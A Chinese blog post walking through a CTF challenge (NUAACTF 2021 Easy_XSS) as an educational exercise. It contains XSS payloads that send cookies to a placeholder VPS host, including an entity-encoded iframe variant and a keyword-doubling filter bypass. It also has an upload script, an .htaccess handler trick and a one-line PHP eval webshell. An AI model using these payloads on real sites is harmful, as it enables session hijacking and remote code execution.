nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

NUAACTF 2021 Easy_XSS

NUAACTF 2021 Easy_XSS

前言

自己很少做xss的题,特意去网上搜了一下相关的题目,也没找到地方复现,就自己看wp了,去理解一下
原文连接https://miaotony.xyz/2021/05/17/CTF_2021NUAACTF_EasyXSS/#toc-heading-11 自己会引用一些话和内容

进入题目

页面是这样的,发现可以发送post
2024-01-15T06:37:59.png
随便注册一个账户
2024-01-15T06:38:26.png
得到新的页面
2024-01-15T06:38:48.png
需要是admin用户,结合题目信息,就是xss窃取admin的cookie去伪造admin
直接开x
先写个基本的xss语句

<img src='#' onerror="window.location.href='//VPSIP:PORT/'+document.cookie">

观察回显的页面然而发现 img window document on 被替换为空了,location -> locati。
2024-01-15T06:40:51.png
我们可以猜到后端是替换,而不是直接die,这个比较简单,一般就是双写可能绕过,我们试一试

meow


发现实现了跳转2024-01-15T06:42:31.png
在自己的服务器上接收到管理员的cookie
2024-01-15T06:43:17.png
然后就是去改cookie后发现可以进行文件上传了

<?php
require_once 'init.php';
error_reporting(0);
if ($_SESSION['is_admin'] !== 1) {
    echo "You are not admin! You can't access this page.";
    highlight_file(__FILE__);
    die();
}

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["submit"])) {
    $tmp_name = $_FILES["upload"]["tmp_name"];
    $name = basename($_FILES["upload"]["name"]);
    if (!$tmp_name) {
        die();
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph/i", $extension)) {
        die("illegal suffix!");
    }
    $upload_file_path = $userdir . "/" . $name;
    if (!move_uploaded_file($tmp_name, $upload_file_path)) {
        die("Error!");
    }
    echo "Your dir " . $userdir . ' <br>';
    echo "Your file: ";
    var_dump(scandir($userdir));
}

发现检查到只对后缀进行了检查,只要不是ph就可以上传成功
借用师傅的脚本上传文件

import requests

url = "http://45.76.221.54:8005/upload.php"
headers = {
    'cookie': 'PHPSESSID=9f767556e4ef66825cb9e3b399e5d243'
}
form_data = {
    'submit': (None, '1'),
    # 'upload': (f'.htaccess', open(f'.htaccess', 'rb'))
    'upload': (f'miao.png', open(f'miao.png', 'rb'))
}
print(form_data)
resp = requests.post(url, headers=headers, files=form_data, timeout=10)
resp.encoding = 'utf-8'
print(resp.content)

这个文件需要自己先在本地创建,然后脚本会去读取内容,然后最重要的是必需有cookie。
.htaccess SetHandler application/x-httpd-php
miao.png <?php @eval($_GET['miao']);?>
后面就是拿flag了,也是搞懂了xss题目大概的做法了

提升

如果是对关键字检查我们又应该怎么做呢
必须绕过关键字了 要么换一样作用的关键字,要么就编码
选择编码
这里师傅用的是html编码,加上iframe srcdoc标签可以解读html内容

<iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#116;&#111;&#112;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#46;&#104;&#114;&#101;&#102;&#61;&#39;&#47;&#47;&#86;&#80;&#83;&#73;&#80;&#58;&#80;&#79;&#82;&#84;&#47;&#39;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;"></iframe>

最后获取到cookie

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » NUAACTF 2021 Easy_XSS

评论